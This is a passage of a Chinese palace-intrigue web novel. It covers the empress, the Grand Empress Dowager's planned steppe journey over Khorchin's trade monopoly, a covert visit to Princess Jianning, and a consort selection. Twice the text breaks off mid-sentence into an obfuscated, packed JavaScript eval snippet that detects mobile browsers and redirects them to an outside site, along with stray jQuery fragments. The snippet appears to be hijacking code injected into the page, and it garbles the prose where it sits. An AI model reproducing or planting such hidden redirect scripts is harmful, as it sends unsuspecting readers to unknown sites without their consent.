珠兰眨了眨眼,科尔沁是太皇太后与太后的娘家,好处自然都给那边了,是光明正大的偏爱。但是吧,科尔沁王公有点接不住这破天的富贵,独食吃的难看。连京里和罗刹,都怨声载道了,何况草原呢。 阿图公主的婆家巴林部显然是没捞着好处的部落,公主也要过日子,也要护着自己的儿子,自然要写信回来诉苦了。 雅图公主连亲妹妹都得罪了,其他人更得罪狠了。 这是啥,这是捧杀啊!太皇太后感慨,自己也是被银子迷了心,当初就不该答应让科尔沁独吞好出。而今她几番去信给长女,让她收敛,她竟然阳奉阴违。 “这好办呀,”珠兰语气轻快,“要么从科尔沁分些商市给那边,要么就另开条新商路,比如往漠北、罗刹走,避开科尔沁的地盘。” 太皇太后要的就是这话,“分商市怕是要闹起来,开新路又得有人主持。要不,哀家跟你额娘回趟草原,当众把这事定了?”不走一趟去,怕日后科尔沁左翼后旗真成众矢之的。 太后眼睛一亮,急切说道:“真能回去?就是皇上太忙,怕是没空陪咱们……” “皇上没空,不是有珠兰吗?”太皇太后拍板,看向珠兰,“你陪我们两个老婆子走一趟,如何?”带走皇后,不是她心血来潮,是早就深思熟虑的。不仅为了让皇帝听话,也是珠兰经营的天赋极高,老太太相中了她能出主意。 珠兰心里一动,草原的商路布局她早有盘算,暗中筹谋也不少,更关系到极北之地的谋算,亲去看看再好不过,当即笑道:“孙媳没意见,正想去草原瞧瞧呢!但离宫诸事,得听皇上的意思。” 晚膳后,皇帝被太皇太后叫到慈宁宫。主打一个,不过夜解决问题。 先说选秀,他一口应了,“八旗秀女积压,是该选了,也能了却宗室的婚事,挺好。” 太皇太后见他应得痛快,话锋一转:“选秀后,哀家想回草原走走,你额娘也想去瞧瞧娘家。” “孙儿陪您去。”皇帝立刻应道。没有让两位老人自己回娘家的道理,虽然这时候前朝忙,抽出一个月还是行的。 “不必,”太皇太后摆摆手,慢悠悠道,“知道你走不开,哀家把你媳妇带走就是了。什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109056|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么时候你在后宫给哀家添个重孙子,哀家就把珠兰还给你。” 皇帝刚端起的茶盏“哐当”一声撞在案上,茶水溅了满袖。 他瞪着太皇太后,像是第一次认识这位祖母——用珠兰当筹码逼他生孩子?这招也太……直接了! 太皇太后却不看他的错愕,只慢悠悠擦着指甲:“你要是不乐意,那就算了。虽然科尔沁那边形势如火,不救不行,老婆子去信不管用了,但大不了燎原漠南,烧不到京中。” 皇帝张了张嘴,想说“珠兰是皇后,岂能说带走就带走”,可看着太皇太后那副“你不答应我就耗着,漠南就不稳当”的模样,忽然明白了——这是祖母合计好的,前面的选秀、草原行,全是铺垫,末了才亮出这杀手锏。 他望着窗外沉沉的夜色,忽然觉得头疼。一边是太皇太后言道北地的安宁,一边是珠兰若真去了草原,内务府的事怕要乱套……可话到嘴边,终究化作一声无奈的叹息:“……孙儿知道了。” 太皇太后这才露出笑意,挥挥手让他退下。等皇帝的脚步声远了,太后才小声问:“这么逼皇上,妥当吗?科尔沁怎么了?” “妥当不妥当,总得试试。”太皇太后捏着佛珠笑,“他不是忙吗?不是眼里只有三藩、银子吗?哀家就把他最得力的左膀右臂挪开,看他急不急!科尔沁没事,你就好吃好喝养着,益寿延年,就永远不会有事。” 太后:不明觉厉。 暖阁里的熏笼依旧旺着,只是这暖意里,藏着太皇太后算准了的心思——皇帝再硬的心肠,也舍不得让珠兰在草原待太久;想让她回来,就得乖乖听话。 而养心殿里,珠兰正对着草原舆图圈圈画画,压根不知道自己已成了太皇太后“催生”的筹码。 她只想着:去了草原,得把漠北的商路打通,再看看科尔沁的骑兵成色……至于皇帝会不会急?她才不担心——那少年天子,总能想出办法的。 更何况系统显示,他心中对赫舍里的忌惮,与日俱增。此刻离开内务府,将自身的势力在明面上压缩,也不是坏事。 皇帝踩着廊下的月光回乾清宫,刚跨进殿门就对着书架攥紧了拳。 紫檀架上的《资治通鉴》码得整整齐齐,可他眼里瞧着的,全是赫舍里家的影子——葛布喇在工部、户部调停得滴水不漏,商部能撑起来,一半靠他正直无私,压着八旗的躁动;索额图的海事衙门更不必说,东洋的银子流水似的进国库,海盗见了挂“大清海事”旗的船就躲;连又一次下西洋的科尔坤,都带着八旗满满的期待;远在江苏治水的心裕,上个月在靳辅的奏报里形容他“带头疏了三条河道,救十万百姓”…… “一门皆成才。”他对着空荡的殿宇低语,指尖划过冰凉的书架,声音里带着说不清的滋味。对赫舍里家是好事,可对他这个皇帝呢? 皇后的娘家子弟个个掌着实权,这势力盘根错节,再发展个几年,必然要漫过皇权的边界了。 更让他心头发沉的是珠兰,自己的妻子是如此能干。她的天赋出众,有宰辅之才。 内务府的账册他翻过,从肥皂、白糖到还在研发中的其他稀奇之物,她总能想出新法子生钱,内务府在她手里像个永远填不满的聚宝盆。 商部的明珠已经算能干了,可比起珠兰当年直接指挥马佳氏出东洋时的顺畅,总差着点火候——那些商号掌柜私下都说“还是皇后娘娘在时,进货、定价、出货,一句话就通透”。 他有时甚至会想,珠兰若生在男子身,怕是能入阁拜相,比朝堂上那群只会引经据典的老臣管用十倍。 可正因如此,才更得防着。他要用她,就得防她。否则,日后这些事端若是影响了帝后和谐,才是大事。 珠兰自己不懂明哲保身,他必须护着她后退才行。 对着铜镜扯了扯龙袍的领口,镜中少年天子的眉眼尚带着青涩,可心思早被磨得锋利——赫舍里前朝掺合了军权,那内务府不能总握在皇后手里,就算她管得再好,也得慢慢收回来。 为了科尔沁的事儿,太皇太后说要带珠兰去草原,他当时只觉荒唐,此刻却忽然动了念头:若她真去半年,正好让内务府的老人换些新面孔,把那些她一手提拔的管事调去南洋、东洋,拆了她织的网……这样不伤夫妻情分,又能让他安心,岂不是两全? 可这念头刚冒出来,就被殿角的铜钟敲散了。他忽然想起每日午时,珠兰总会带着新做的点心来乾清宫,混着她的笑,能把前朝的烦忧冲散大半。 昨儿她还说“新制的玫瑰酥加了西洋糖,比往日更甜些”,那股子甜香仿佛还沾在袖口。若真半年见不着,这乾清宫怕是要冷清得像座冰窖。 至于太皇太后那句“不生孩子就不回来”,他只当是老祖母的气话。 珠兰是国母,紫禁城离不得她;太皇太后与太后更不可能在草原久待,科尔沁再亲,哪有宫里安稳。 顶多去个把月,忙完了,寻个由头就回来了。他甚至能想到珠兰回来时,定会捧着草原的羊毛说“给皇上带了新料子,做件骑射的袄子正好”。 夜风从窗缝钻进来,吹得烛火晃了晃。 皇帝对着书架舒了口气,指尖终于松开——算计归算计,不舍归不舍,珠兰是他的皇后,是他离不开的左膀右臂。 真要让她走半年?或许……等她把草原的商事理顺了,他就以“国母不可轻离”为由,接她回来。 这样想着,他才觉得心头那股子躁气散了些,转身往暖阁走。 明早还要看海事衙门的奏折,东洋的银子还等着入账,哪有功夫纠结这些? 太皇太后的话,听着就是了。 罗刹人的鬼话听听就得了,搞什么直营,珠兰也知道往那边走陆路有多远啊,不用二道贩子那成本更高。 那一阵子,掌柜的都被珠兰培养的会说好几门语言,特别爱跟外国商人做买卖,赚的多。大姐儿既然说了咱自己不去,那就跟罗刹商人也做上了买卖。这么着,就有了让同为辅政大臣的钮钴禄家都嫉妒的,赫舍里独属草原过境贸易线。 赫舍里往北边的贸易对象,主要有哥萨克、西伯利亚商人,以物物交换为主。那边输出的多为毛皮(貂皮、狐皮等)、呢绒、钟表等;这边则以丝绸、棉布、茶叶、大黄、瓷器、烟草等交换。 但是科尔沁那边有意自己走罗刹线儿,虽然还没打通,但原本的线儿已经被他们卡着脖子,给断了路。 自打科尔垄断了草原商路,赫舍里这边的买卖也短了一部分草原线儿。问题是,有些好东西,只有罗刹人有,他们还想继续买卖呢。 掌柜们没少诉苦,嫌科尔沁有买卖也不会做。 珠兰让他们自己合计个主意,掌柜们凑一起一合计,干脆就挑拨旁人干科尔沁一票,这买卖大赚,可以做。 信送到寿春手里时,她眼神一凛,三两下读完,当即拍了桌子:“备马,叫弟兄们集合!” 富春刚从外面巡营回来,见她翻箱倒柜找令牌,忙问:“姐,出什么事了?” “京里有新令。”寿春头也不抬,将一块刻着“云”字的木牌塞进怀里,“挑二十个精干的,要会说一流利蒙话、懂皮毛手艺的,明早前第一批出发,随内务府的车马去草原。” 她语速极快,一边吩咐手下打包伤药、账本,一边跟富春解释:“南边的事暂时稳住了,草原那边要人手,得是能混进部落里的机灵人。教牧民算账,帮着管作坊,暗地里把动静都记下来。” 安排妥当已是深夜,寿春却没歇着,反而对富春道:“收拾东西,跟我回趟京。” 富春愣住了:“回京城?南边的防……” “有程岫盯着,出不了岔子。”寿春打断她,眼神里藏着富春看不懂的深意,“有些事,得亲自回趟京才能办得利落。” 姐妹俩快马加鞭,一路换了五匹坐骑,竟在十日后的清晨抵了京。 没回自家府邸,反而绕到一条僻静的胡同,停在一扇朱漆大门外。 门楣上“建宁长公主府”六个字,让富春惊得张大了嘴——那是吴三桂的儿媳、皇太极之女的府邸,这几年因三藩之事,早已门庭冷落。 寿春却神色如常,从袖中摸出块腰牌,上面“平西王府”四个字在晨光里闪着冷光。守门的老仆见了腰牌,眼皮都没抬,只侧身让出条道。 “姐,你……”富春拽着她的袖子。 寿春按住她的手,沉声道:“进去就知道了,有些事,得跟里面的人算清楚;有些路,也得借他们的梯子,才能铺到南边去。” 说罢,她率先迈过门槛,朱漆大门在身后缓缓合上,将富春的疑惑和胡同里的晨光,都关在了外面。 刚摘了男式毡帽,露出青丝的刹那,正厅里的建宁公主就“噌”地站了起来。她手指着寿春姐妹,声音发颤:“你们……你们是南明余孽?!” 寿春和富春身上的暗纹长衫,领口绣着的半朵梅花,正是南明旧部的记号——这是她们故意露的破绽。 建宁公主本以为是吴三桂派来的人,要么是施压,要么是试探,却没料到闯进来的人,还是这副打扮。 “来人!拿下这两个反贼!”建宁公主猛地拍向桌案上的铜铃。 65. 选秀新人 可铃声还没响透,就被一阵闷响盖了过去——富春早踩着桌沿飞扑出去,手肘撞在两个护卫的麻筋穴位上,那两人哼都没哼就瘫了;寿春更利落,指尖弹出四枚银针,正中另两个仆役的脖子和膝盖,他们抱着腿跪倒在地,连呼救都发不出声。 不过眨眼功夫,厅里能站着的,只剩建宁公主和寿春姐妹。 建宁公主退到屏风后,脸色惨白,看着寿春一步步走近,手里还把玩着那块“平西王府”的腰牌。 “你……你们到底是谁?想干什么?”她心中,升起从未有过的绝望。 她不想死!她还没有为自己活过…… 寿春没答话,反而摘下腰间的玉佩,扔到桌上。玉佩上刻着的“寿”字,与建宁公主陪嫁清单里某件物品的印记,分毫不差。 建宁公主瞳孔骤缩——那是当年她嫁入吴家时,太皇太后赏的,后来被吴三桂的人收走,怎么会在这女子手里? “公主别急着叫人。”寿春终于开口,声音里听不出情绪,“我们来,是想帮您拿回您母子两个活命的本钱——宫里的,吴家的,还有……您心里那笔不敢算的账。” 富春站在姐姐身后,悄悄握紧了腰间的短刀。 她这才明白,姐姐带她回京城,哪是为了草原的事?这是要在最敏感的建宁长公主府里,撬开一道能动摇三藩根基的口子。 建宁公主听到是关乎自己儿子性命的事,嘴唇哆嗦着,居然就镇定了下来,“你们……到底是谁的人?” 寿春笑了笑,只指了指椅子:“公主坐下说吧。” 屏风外的阳光斜斜照进来,落在散落的茶杯碎片上,闪着冷光。 建宁公主看着眼前这两个人,只要能保住儿子的性命,与虎谋皮又如何。 这世上,只有儿子是她唯一的亲人了。她一生,都在为了大局。这一次,让她自私一点,只要能保住儿子。 南书房的紫檀香混着墨味,在暖阁里沉沉浮浮。 佟国纲掀帘进来时,见皇帝正对着一幅《蒙古部落图》出神,宝蓝色常服的袖口搭在图上的“科尔沁”三字上,指节微微用力。 “奴才佟国纲,参见皇上。”他刚跪下,就见皇帝抬手示意免礼,递过来一摞折子。 “你自己看。”皇帝的声音不高,却带着不容置疑的分量。 佟国纲接过密折,额头开始冒汗,颤抖着打开密折,一份接着一份,越看眉头皱得越紧。 蒙古各部落的怨言像雪片似的堆在纸上:巴林部说“茶砖贵得能换一匹马”,乌珠穆沁部哭诉“盐价涨了三成,牧民快吃不起了”,连附页里太皇太后的私信都透着无奈——“科尔沁忒不像话,连公主陪嫁的茶引,他们都敢加价克扣”。最扎眼的是那页物价单:砖茶、青盐、布匹的售价,竟比晋商垄断时还高,尤其是茶盐,几乎是翻倍的利。 “蒙古王公的贪欲……”佟国纲咂舌,抬头看向皇帝,眼里满是不解,“皇上,这些……”怎么就给我看了? “太皇太后要去草原调解,太后同去,皇后随之。”皇帝打断他,指尖在图上敲了敲,“科尔沁垄断商路,把茶盐当金子卖,其他部落早憋着火了。巴林部有长公主在,都忍不住告状,可见闹得多凶。” 说别的都是虚的,老太太实际是心疼女儿,也怕草原那边出乱子。毕竟,科尔沁已成众矢之的。 他顿了顿,目光落在佟国纲身上,“你带火器营的人随驾。” 佟国纲心里一松,连忙躬身,“奴才遵旨!定护得太皇太后、太后与皇后万无一失!”原以为是什么棘手差事,不过是护卫,火器营的将士个个精锐,新式武器也列装了,一水儿工部仿造的西方鸟铳,这点事不在话下。 可皇帝忽然挥了挥手,让侍立的太监都退出去。 佟国纲眼睁睁看着梁九功都垂眸退下了,汗水又开始顺着脖子往下流。 暖阁里只剩君臣二人,空气瞬间凝重起来。皇帝转过身,目光像淬了冰的刀子,直直剜向佟国纲,看得他后背的冷汗顺着朝服往下淌。 “朕的意思,你能明白吧?” 佟国纲的膝盖一软,直接就跪下去了。他猛地磕了一个头,没听见皇上叫起,心脏在胸腔里狂跳——这话里的分量,比那摞折子重百倍。 他在心里把皇帝的意图翻来覆去地嚼,蒙古的乱局,科尔沁的跋扈,火器营的陪同……忽然,一道亮光劈开迷雾。 “皇上的意思是……”佟国纲的声音带着颤,却透着狠厉,“虚弱的蒙古才是好蒙古,混乱的蒙古更是好蒙古。” 他顿了顿,抬起头,眼里已没了惧意,只剩对帝王心术的领悟,“若是大清能从中得利,那便是最好的蒙古了。” 毕竟,未来两年要向南用兵,必须提防蒙古异动,但也不可真走到不可收拾的地步。 皇帝盯着他看了半晌,忽然嘴角勾起一抹笑,那笑意却没达眼底,佟家的人,果然懂事。学西学利索,揣摩圣意也擅长。佟国维送进宫的话本子,他就喜欢看。 他重新看向《蒙古部落图》,指尖划过巴林部、乌珠穆沁部的位置,“太皇太后要调解,那就让她调。但有些人,若是太不知趣……” “奴才明白!”佟国纲立刻接话,“火器营的家伙什,擦得亮。”调解是幌子,敲打是真,若是科尔沁敢当着太皇太后的面不收敛,或是其他部落闹得太过火,火器营的炮口,就是最好的“道理”。无论如何,向南用兵之前,让蒙古维持在斗而不破的局面。 皇帝满意地点点头:“去吧,把火器营的花名册拿来,朕要亲自点几个人。” 佟国纲躬身退出去时,朝服已被冷汗浸透。他抬头望着南书房的飞檐,忽然觉得这趟草原之行,怕是要溅起不少血——但这又如何?帝王要的从不是蒙古的太平,是大清的安稳,是草原的银子和臣服。 而暖阁里,皇帝重新铺开《蒙古部落图》,在科尔沁的位置画了个圈,又在巴林部旁边点了个点。太皇太后要去“主持公道”,他就让佟国纲去“维持秩序”。 至于这秩序是什么样的……自然是他说了算。 紫檀香还在袅袅地烧,只是这香气里,仿佛掺进了几分草原的血腥气。 蝉鸣渐歇时,宫墙内的梧桐落了第一片叶。 珠兰捧着太皇太后的懿旨,看着内务府的人搬来一摞摞秀女名册——这届选秀积压了数年,满蒙汉三旗的姑娘们像刚摘的果子,挤在名册里,等着被挑拣。 她倒乐得自在,每日捧着花名册,比对秀女的画像时,嘴角总挂着笑。 满八旗的姑娘大多爽朗,眉宇间带着骑射的英气;蒙八旗的姑娘擅歌舞,画像里的眼神像草原的风;汉八旗的姑娘则多是温婉的,眉眼弯弯,像江南的水。 “这个好看,”她指着一幅汉旗秀女的画像,对尼雅说,“你看这眉眼,跟天仙似的。” 尼雅抬头扫了一眼,说道:“这是甄氏女,她父亲兄长两代人皆为杭州织造。去年,因其兄甄应嘉协助南洋办货有功,全家抬了旗。” 看来皇帝对这甄家印象也一般,不然不会给抬了个汉军旗。而且,这不是包衣了,估计杭州织造也快换人了。不知是如马佳氏故事,在族内换人,还是直接换给别家。 珠兰想了想,杭州、南洋,莫非这家人和宗室关系莫逆? 秀女们夏天入宫,住在东六宫的偏殿,每日学规矩、习礼仪,等着一轮轮筛选。 在东六宫中,尼雅安排了一座座不曾居住妃嫔的宫殿的附属区域作为秀女选秀期间的临时住所,钟粹宫的偏殿是相对典型的选择。 钟粹宫在东六宫中路偏北,位置适中,其附属建筑如东西配殿、耳房,空间规整,且距离选秀常涉及的御花园、乾清宫等场地动线合理,既便于集中管理,又符合“不占用主殿核心区域”的规制,也是之前临时安置待选人员较常考虑的区域之一。 她是这样,向主子娘娘汇报的。 这事儿,珠兰不操心,都交给女官们安排,包括观察秀女的品行和动态,都放权下去了。 太皇太后还反复召见了几个秀女相看,皇后一个都没见,天天看系统数据就行。 尼雅偶尔去瞧,看她们站成一排排,穿着统一的浅绿旗装,像田埂上的青苗。有怯生生不敢抬头的,也有偷偷打量宫景的。 回来给珠兰学舌,她听着就觉得有趣,比听内务府的账册舒坦多了。 期间也有不少姑娘被指婚,八旗子弟的婚事积压了两年,太皇太后借着选秀,一口气给二十多家指了亲。 被指婚的秀女领了旨意,收拾包袱出宫时,脸上的或是红晕,或是落寞,不一而足。 珠兰站在角楼上看,笑着对身边的春夏二人说:“八旗女子,已可称一句贵女,然则嫁娶仍不从己心。” 此时,尼雅来报,说宣妃求见。 珠兰诧异,转回养心殿。 宣妃阿日娜苏,平素沉默,只有在马场上与端敏格格一起时,才有笑言。 她年幼时,喜欢与塔娜玩耍,可再进宫后,两人却玩不到一起去了。 这一段情谊的斩断,也是让珠兰为之遗憾。 毕竟那三个娜字辈的小丫头,给她在宫中的无趣生活带来了不少笑点。 春苒去乾清宫回话,就跟梁九功说皇后娘娘可喜欢看秀女们了,尤其是漂亮的,一准儿选了好的进来。 梁九功听着直搓牙花子,这话儿他还得传给皇上听,估计主子不爱听啊。 到了太皇太后亲选那轮,气氛就不同了。 暖阁里静得能听见佛珠转动的声,太皇太后翻着名册,最终在福全、常宁的福晋人选上停了笔——福全的嫡福晋为西鲁克氏,是二等侍卫明安图之女;常宁的嫡福晋为纳喇氏,郎中拜库礼之女。家世清白,却都非显赫大族之女。 “这样最好。”太皇太后放下朱笔,对珠兰说,“他们兄弟俩,安安稳稳过日子就好,别掺和那乱七八糟的勾连。” 珠兰笑着应是,她也长进了,听出太皇太后弦外之意,这是怕亲王与大姓大族绑得太紧,威胁到皇帝的权柄。所以,妹妹塔娜原本想的姐妹嫁兄弟之事,是不可能的。她甚至没有能参加此次选秀,入宫为妃已经是她唯一的路了。只看太皇太后何时,想动这颗珍贵的棋子。 听了便罢了,此时也不用她管这些事,照旧没心没肺的去看美人。 太皇太后见她这样子,叹了口气。皇后啊,通透聪慧,就是未免出尘的过了些。明明是贵女,宫中教养长大,不知怎的,太皇太后看她,这两年处事,越发跟江湖草莽似的做派,心眼儿太直。 皇后这乐不思蜀的模样,不仅太皇太后看了叹气,也全落在皇帝眼里。 每日午时,珠兰去乾清宫用膳,嘴里总离不开选秀的新鲜事。“今儿见了个蒙旗的姑娘,会唱赞歌,声音比百灵鸟还好听。”“汉旗有个姑娘,一手字写得比翰林还俊,皇上要不要瞧瞧?” 康熙只看到,她的小嘴像装了蜜的匣子,叭叭地说个不停,眼里的光比殿里的烛火还亮。 皇帝握着筷子的手一顿,眉头几不可察地跳了跳。他刚从前朝回来,脑仁还疼——三藩的奏折堆了半尺高,索额图又在海事衙门的折子上吵着要加军费,要大船要大炮。 可看珠兰这副模样,像是把所有烦心事都抛到了脑后,只惦记着看美人。 “你倒清闲。”他夹了块藕给她,语气里带着点无奈。怕她心眼多,又怕她心眼少。“下午,陪朕整理折子!” “可不是嘛,”珠兰咬着排骨,仿佛没听见那句工作指令,含糊不清地说,“看美人多开心,有一位汉军旗的姑娘,可称得上佳人也,我见犹怜。” 饭后在乾清宫溜圈,珠兰还在说:“那姑娘姓甄,名中有一个仙字,脾气性子竟然直爽得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114285|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很,我很喜欢,若是皇上看了定然也喜欢……” 皇帝听着听着,额角的青筋隐隐要跳出来,可看着她亮晶晶的眼睛,刚到嘴边的“你不如去内务府忙些日子”又咽了回去。 他有时也觉得好笑,自己在前朝跟老狐狸们斗智斗勇,她却在后宫里对着秀女评头论足,小日子过得比谁都滋润。 可转念一想,又生出几分成就感——这安稳日子,是他给的。 若不是他把前朝的事扛的住,珠兰哪能这样自在? 桂子飘香时,终于到了皇帝亲选的最后一轮。 御花园里的香气漫过宫墙,秀女们按旗分排好,低着头,等着帝王的审视。 珠兰坐在太后下手,看着皇帝下来,踱步走过,再看这些女孩子们,居然少有人能比皇帝容色鲜艳的。 只除了甄氏女,她是真的美,浑身浸透了能让人沉醉的仙灵之气。 就是队伍里那个穿浅粉旗装的汉八旗姑娘,众人见她皆心里暗道:这眉眼,真像画里走出来的仙女…… 珠兰记得,她的闺名正是有个仙字。 桂花香气里,混着姑娘们发间的脂粉气。 皇帝皱着眉走过队列,目光扫过一排排低垂的头颅,心里只觉乏味——这些姑娘或怯或板,竟没一个比得上琉璃镜里映出的自己顺眼。 直到行至队尾,他的脚步才顿住。 那穿浅粉色旗装的姑娘站得笔直,虽也低着头,却不像旁人那般瑟缩,露出的一截脖颈白皙得像玉。 玉?! “抬起头来。”皇帝的声音不高,却让周遭的空气都凝住了,“你叫什么名字。” 姑娘缓缓抬头,仿佛月魄凝脂,又似灵溪漱玉,眉如远山含黛,眼似秋水横波,带着云气般的缥缈,仿佛一拂袖便要融进烟霞里,不染半分俗世尘埃,倒真有几分珠兰所说画中仙的模样。 可肌肤的莹润、鬓边的柔光,又藏着被人间烟火细细煨养出的精致,像晨露落在精心雕琢的玉簪上,清绝里裹着一丝暖人的俗世香。 此女是匣中玉,雕琢精细,却不如山川之玉大气磅礴、自然清新。 不等皇帝再问,她已上前一步,微微俯身,声音清亮得像山涧泉水,带着股不卑不亢的仙气与野性,“臣女——奴才,奴才甄氏,名应仙。” “甄应仙?”皇帝玩味地念着这名字,指尖在袖中轻轻敲着,“杭州织造甄应嘉的妹妹,这名字倒与模样配得上。” 他转身,对着身后的珠兰挑了挑眉。那表情丝毫不像得了美人,倒像是冲着珠兰邀功似的。 珠兰:? 后宫的风,总是比别处来得快。 皇帝与那甄氏的言语刚过神武门,“倾国倾城”的名头就飘进了各宫的窗棂。 萨琳正在清点观星的仪器,听小太监嚼舌根,只淡淡摇了摇头。水晶球里映着她平静的脸,指尖拂过铜制的星盘刻度——“倾城色”又如何,有的困在锦绣堆里磨去了棱角,有的在争风吃醋里耗成了枯骨。 “但愿她能活得明白些。”她没再多言,将星盘装进锦盒,今晚有流星雨,比琢磨新人更有意思。 玉宁在妆镜前试新做的珠钗,听见侍女报“新人出身汉军旗,顶多封庶妃”,紧绷的肩膀瞬间松了。 她对着镜子抿唇一笑,将珠钗插在鬓边:“庶妃啊……”语气里带了点漫不经心的释然。 位分压不过自己,再美又能如何?皇上若是真放在心上,岂会只给个庶妃的名分? 她放下心来,命人备轿去养心殿附近“偶遇”,比起新人,还是皇上的心思更重要。虽然一直不得皇上召见,但努力总比懈怠强。无论如何,她要有一个孩子。玉宁从来都知道自己想要什么,且会一直争取,又争又强。 荣贵人的院里静悄悄的,只有针线穿过绸缎的簌簌声。她正给珠兰绣一件夏衫,领口要绣缠枝莲,袖口缀几片荷叶,针脚细密。 侍女提了句“宫里要来新人了”,她头也没抬:“知道了。” 在她眼里,谁来谁走都一样,守着皇后,做好分内事,比什么都安稳。丝线在指尖流转,转眼就绣好了半朵莲花,鲜活得像刚从池塘里摘下来的。 赫舍里塔娜却在永寿宫廊下数着石阶玩,数到第三十二级,忽然拽住身边的穆嬷嬷:“这次选秀我没去,是不是得等下次?”她晃着辫梢上的银铃,眼里满是期待。 听人说,选秀能见到好多新奇玩意儿,她压根没把“选秀”当成入宫争宠的事,只当是场热闹的集会一般。 穆嬷嬷笑着拍她的手:“格格急什么?缘分到了,自然有你的份。” 塔娜却撇撇嘴,继续数石阶,心里盘算着下次选秀前,得把骑射再练得好些,定要拔个头筹。 宣妃阿日娜苏一日比一日更加想念草原了,想念清晨毡房外的奶香,想念风里夹杂的马粪味,想念姐妹们扯着嗓子唱的牧歌。宫里的绸缎再滑,也不如草原的羊皮袄暖和;御膳房的点心再精致,也抵不过一块刚烤好的奶豆腐。 这天傍晚,她收到珠兰派人送来的沙棘果,红得像草原的落日。她捏着那颗果子,忽然就笑了——何必呢?与新人去争那遥不可及的心,看那冷淡的眉眼,不如早点回草原去,做回那只自由自在的狼。 年幼时,学过一句诗,叫做“你若无心我便休,青山只认白云俦”。 太后娘娘的日子,她不喜欢。太皇太后娘娘的日子又如何,她也不喜欢。 至于皇帝,至于宠爱,都随它去吧。 她阿日娜苏的命,该在草原上,不该困在这四方城里,变成一尊会喘气的泥菩萨。 宫墙依旧高耸,新人的脚步声刚落,旧人的日子还在继续。 有人看着星光,有人盯着名分,有人守着安稳,有人等着热闹,有人盼着回家——各有各的心思,像池子里的浮萍,看似聚在一处,实则各有各的去处。 66. 拖延出行 这姑娘胆子倒大,在御前既自称“臣女”又说“奴才”,却偏偏语气自然,丝毫不尴尬。 珠兰笑了,连太皇太后都忍不住多看了此女两眼。 皇帝盯着她看了半晌,扭头对身旁的梁九功说:“留牌子。” 梁九功低垂着头,恭敬应诺,这是上记名了。 甄应仙谢恩,膝盖刚触到地面,就听见皇帝转身离去的脚步声。 她望着那明黄的背影消失在月洞门后,嘴角悄悄勾起一抹极淡的笑。 珠兰看着她那抹笑意,这届选秀,总算出了个有意思的人物。转头看向太皇太后,见老人家垂眸捻着佛珠,便知这倾国倾城的甄应仙,怕是能让太皇太后满意。 桂花香还在飘,选秀总算到了头。只是秀女们谁都没想到,最后被皇帝留下的,竟是这样一个名字带“仙”、性子带几分野的姑娘。最奇葩的是,居然只有她一人“上记名”。 这场选秀,是一场热闹的收尾——选了亲王福晋,指了八旗婚事,前朝忙活着儿女姻亲,皇帝得了倾国倾城的美人,草原之行也近了。 只是按理说该夏去秋回,这都秋天了,再去就得冬回了。 乾清宫的晚膳刚撤下,烛火在描金烛台上跳着,映得珠兰鬓边的东珠簪子闪闪发亮。 皇帝把玩着手里的玉扳指,笑道:“这次留了那甄氏的牌子,总算如了你的意。” 珠兰正用银签挑着碟子里的杏仁酥,闻言瞥他一眼,嘴角勾着笑:“应仙生得那样一副好模样,放出去岂不可惜?宫里的风水养人,日子才好呢。” 她瞥了一眼皇帝,才不信所谓是为了她留的牌子。不过是这甄氏确实入了他的眼,他才留的,偏要往她身上推,要得她一个感谢不成? 她还喜欢研究火炮大船,怎么不见皇帝支持。 “你想让她住哪?”皇帝追问,扳指在指间转得飞快。 珠兰一愣,这原该是皇帝定的事,他偏来问她。刚要答话,就听皇帝自己说道:“景阳宫还空着,就让她住那儿吧。” “景阳宫?”珠兰手里的银签顿了顿,差点把杏仁酥戳掉。那宫苑在东六宫最里头,离养心殿远得很,说是边缘也差不多。 她瞅着皇帝眼底的笑意,忽然明白了——这是既留了国色天香之人,又不想让她离得太近,免得落人口实,毕竟圣君远女色,偏还装得像是她的主意。 “皇上定了就好。”她忍着笑,故意拉长了调子,“景阳宫清净,后殿还有个大书房,正合她那瑶台仙子似的模样。” 皇帝被她看得有些不自在,轻咳一声转了话题:“说起来,草原之行……” 珠兰知道他要提拖延的事了,她是很想出去玩的,但是……手底下的人还需要点时间筹谋。 “现在是秋天,”皇帝果然道,“你们去了,路上风霜重,到了草原也得过冬,何苦遭那份罪?不如明年夏初再去,草长莺飞的,也舒坦些。” 珠兰放下银签,“皇上这话,倒像是早想好的。”她早觉得不对劲,选秀从夏天拖到秋天,原是为了把今年的草原之行拖黄了。“选秀拖了这许久,怕不就是为了等天气凉了,好说这话?”她虽然赞成皇帝,但话头还得占上风。 皇帝被戳穿心思,也不恼,只挑眉:“朕是舍不得你,心疼你啊。”他与佟国纲仔细研究了,草原上的形势还不够激烈,明年再去效果更好。 “心疼是真,不想让我们去也是真。”珠兰笑了,“可这话,您跟太皇太后说过了吗?”那老太太不着急,就行啊。 皇帝的扳指停了,没吭声——自然是没说。太皇太后盼着去草原调解两个女儿的矛盾,顺便“催生”,哪会轻易答应拖延。 珠兰见他不说话,站起身理了理裙摆,“既然没说,那咱现在就去找皇祖母说说?”她故意加重了“咱”字,带着点调侃,“您是皇上,您去说,总比我这孙媳妇去说管用。”太皇太后会给皇帝面子的,不过得挨上两句絮叨罢了。 